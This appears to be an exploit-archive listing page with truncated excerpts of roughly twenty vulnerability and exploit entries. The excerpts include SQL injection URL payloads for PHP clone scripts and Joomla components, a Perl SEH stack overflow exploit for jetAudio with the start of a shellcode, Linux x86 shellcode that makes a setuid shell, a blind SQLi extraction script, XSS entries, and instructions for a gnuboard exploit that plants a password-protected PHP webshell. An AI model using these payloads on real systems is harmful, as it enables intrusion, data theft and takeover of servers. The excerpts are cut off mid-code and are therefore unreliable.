Joomla Simple FAQ Blind SQL Injection

Joomla Component comsimplefaq catid Blind Sql Injection Vulnerability ========================================================================= .:. Author : AtT4CKxT3rR0r1ST .:. Team : Sec Attack Team .:. Email : [email protected] .:. Home : www.sec-attack.com/vb .:. Script : Joomla Component...

jetAudio 8.0.0.2 Basic Stack Overflow

!/usr/bin/perl Title: jetAudio 8.0.0.2 Basic m3u Stack Overflow Exploit Author: cr4wl3r Tested: Windows xpsp2 my $file="b00m.m3u"; my $header = "http://"; my $junk = "A" x 1017; my $nseh = "\xeb\x06\x90\x90"; my $seh = pack'V',0x01221045; my $shellcode =...

Al3jeb Remote Change Password

Exploit Title :al3jeb script Remote Change Password Exploit Author: alnjm33 Software Link: http://www.traidnt.net/vb/attachment.php?attachmentid=354606&d=1237376300 Version: 1.3 Tested on:1.3 MY home : Sec-war.com :::::::::::::::exploit::::::::::::::::::::: al3jeb script Remote Change Password...

Microsoft Windows Defender Active-X Heap Overflow Version 2

Aouther : SarBoT511 Exploits title :Microsoft Windows Defender ActiveX Heap Overflow PoC downloads :www.microsoft.com Date : 2010/01/19 tested on :windows 7 Microsoft Windows Defender targetFile = "C:\Program Files\Windows Defender\MsMpCom.dll" prototype = "Sub WriteValue ByVal bstrKeyName As...

ITechSctipts Alibaba Clone - Multiple Vulnerabilities

/ Name : ITechSctipts Alibaba Clone Site : http://itechscripts.com/index.php?page=shop.productdetails&flypage=shop.flypage&productid=24&option=comvirtuemart Author : Hamza 'MizoZ' N. Email : mizozxatgmaildotcom Greetz : Zuka , Sellim / SQL Injection : File : catsell.php , Get : cid...

Ebay Clone from clone2009 - SQL Injection

Ebay Clone from clone2009 - SQL Injection / Name : Ebay Clone from clone2009.com Site : http://www.clone2009.com/ Author : Hamza 'MizoZ' N. Email : mizozxatgmaildotcom Greetz : Zuka , GreyMen : / 1st SQL injection : File : gotourl.php , Get : id HOST/PATH/gotourl.php?id=-1+union+select+version-- ...

CLONEBID B2B Marketplace - Multiple Vulnerabilities

/ Name : CLONEBID B2B Marketplace Vendor : http://www.clonebid.com Author : Hamza 'MizoZ' N. Email : mizozxatgmaildotcom Greetz : Zuka ! / SQL Injection : File : selloffers.php , Get : cid HOST/PATH/selloffers.php?cid=INJECTION Demo :...

MySQL Server Version Enumeration

Enumerates the version of MySQL servers. This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'MySQL Server Version Enumeration', 'Description' = %q Enumerates the version of MySQL servers. , 'Author...

IT-Grundschutz M4.097: Ein Dienst pro Server (Windows)

IT-Grundschutz M4.097: Ein Dienst pro Server Windows. ACHTUNG: Dieser Test wird nicht mehr unterstützt. Er wurde ersetzt durch den entsprechenden Test der nun permanent and die aktuelle EL angepasst wird: OID 1.3.6.1.4.1.25623.1.0.94212 Diese Prüfung bezieht sich auf die 11. Ergänzungslieferung 1...

IT-Grundschutz M4.227: Einsatz eines lokalen NTP-Servers zur Zeitsynchronisation (Windows)

IT-Grundschutz M4.227: Einsatz eines lokalen NTP-Servers zur Zeitsynchronisation Windows. ACHTUNG: Dieser Test wird nicht mehr unterstützt. Er wurde ersetzt durch den entsprechenden Test der nun permanent and die aktuelle EL angepasst wird: OID 1.3.6.1.4.1.25623.1.0.94219 Diese Prüfung bezieht si...

IT-Grundschutz M4.227: Einsatz eines lokalen NTP-Servers zur Zeitsynchronisation - Windows

IT-Grundschutz M4.227: Einsatz eines lokalen NTP-Servers zur Zeitsynchronisation Windows. ACHTUNG: Dieser Test wird nicht mehr unterstützt. Er wurde ersetzt durch den entsprechenden Test der nun permanent and die aktuelle EL angepasst wird: OID 1.3.6.1.4.1.25623.1.0.94219 Diese Prüfung bezieht si...

South Korea gnuboard Forum vulnerability EXP and method of use-vulnerability warning-the black bar safety net

Excerpt from: the Red section of the network security http://bbs.honkwin.com 1. The machine is set up the PHP environment 2.将EXP程序保存为akt.php 3. CMD is executed under php akt.php 4. Generated akt. txt records in the success URL 5.http://目标URL/data/hardison.php password: akteam with PHP connection...

Jamit Job Board 3.0 Cross Site Scripting

Exploit Title: Jamit Job Board v.3 + Date: January 09 2010 + Author: Crux mail:[email protected] + Software Link: http://www.jamit.com/jobs/ + Version: 3.0 + Tested on: ALL + Dork: NO NO NO! Vulnerable File index.php The post variable, postid EXPLOIT " DEMO...

linux/x86 cp /bin/sh /tmp/katy

No description provided by source. / Linux/x86 /bin/cp /bin/sh /tmp/katy ; chmod 4555 /tmp/sh using fork / include stdio.h char shellcode = "\xeb\x5e\x5f\x31\xc0\x88\x47\x07\x88\x47\x0f\x88\x47\x19\x89\x7f" "\x1a\x8d\x77\x08\x89\x77\x1e\x31\xf6\x8d\x77\x10\x89\x77\x22\x89"...

AutoIndex PHP Script Directory Traversal

+===================================================================================+ ./SEC-R1Z / / / / /\ \ |/ / \ \ / / / / | | / | | / / \ / / / / | || / | | / / \ \ \ \2009 | \ | | / / / \ /\ / ||\ \ ||/ \ R.I.P MichaelJackson !!!!!...

SAMPLE Lord 1.0 Cross Site Scripting

+===================================================================================+ ./SEC-R1Z / / / / /\ \ |/ / \ \ / / / / | | / | | / / \ / / / / | || / | | / / \ \ \ \2009 | \ | | / / / \ /\ / ||\ \ ||/ \ R.I.P MichaelJackson !!!!!...

D-LINK DKVM-IP8 XSS Vulnerability

Exploit for unknown platform in category remote exploits ================================= D-LINK DKVM-IP8 XSS Vulnerability ================================= Exploit Title: D-LINK DKVM-IP8 XSS Vulnerability Date: 01-06-2010 Author: POPCORN Software Link: http://www.dlink.ru/ Version:...

Joomla BF Survey Pro SQL Injection

1 $url = $argv1; $r = strlenfilegetcontents$url."+and+1=1--"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."+and+1=0--"; $t = abs100-$w/$r100; echo "Username: "; for $i=1; $i $t-1 $count = $i; $i = 30; for $j = 1; $j $t-1 $laenge =...

Facebook for iPhone - Persistent Cross-Site Scripting Denial of Service

Facebook for iPhone persistent XSS Facebook application for iPhone is not encoding special characters in Notes detail Adding this code in a note will freeze application: var x = 'x'; while 1 document.write''; x = x + 'x'; App page: http://www.facebook.com/apps/application.php?id=6628568379...

Diesel 1.6 Cross Site Scripting / Directory Traversal

======================================================================================== | Title : DieselPay 1.6 Multi Vulnerability | Author : indoushka | email : [email protected] | Home : Souk Naamane - 04325 - Oum El Bouaghi - Algeria -00213771818860 | Total alerts found : 7 | High : 7 |...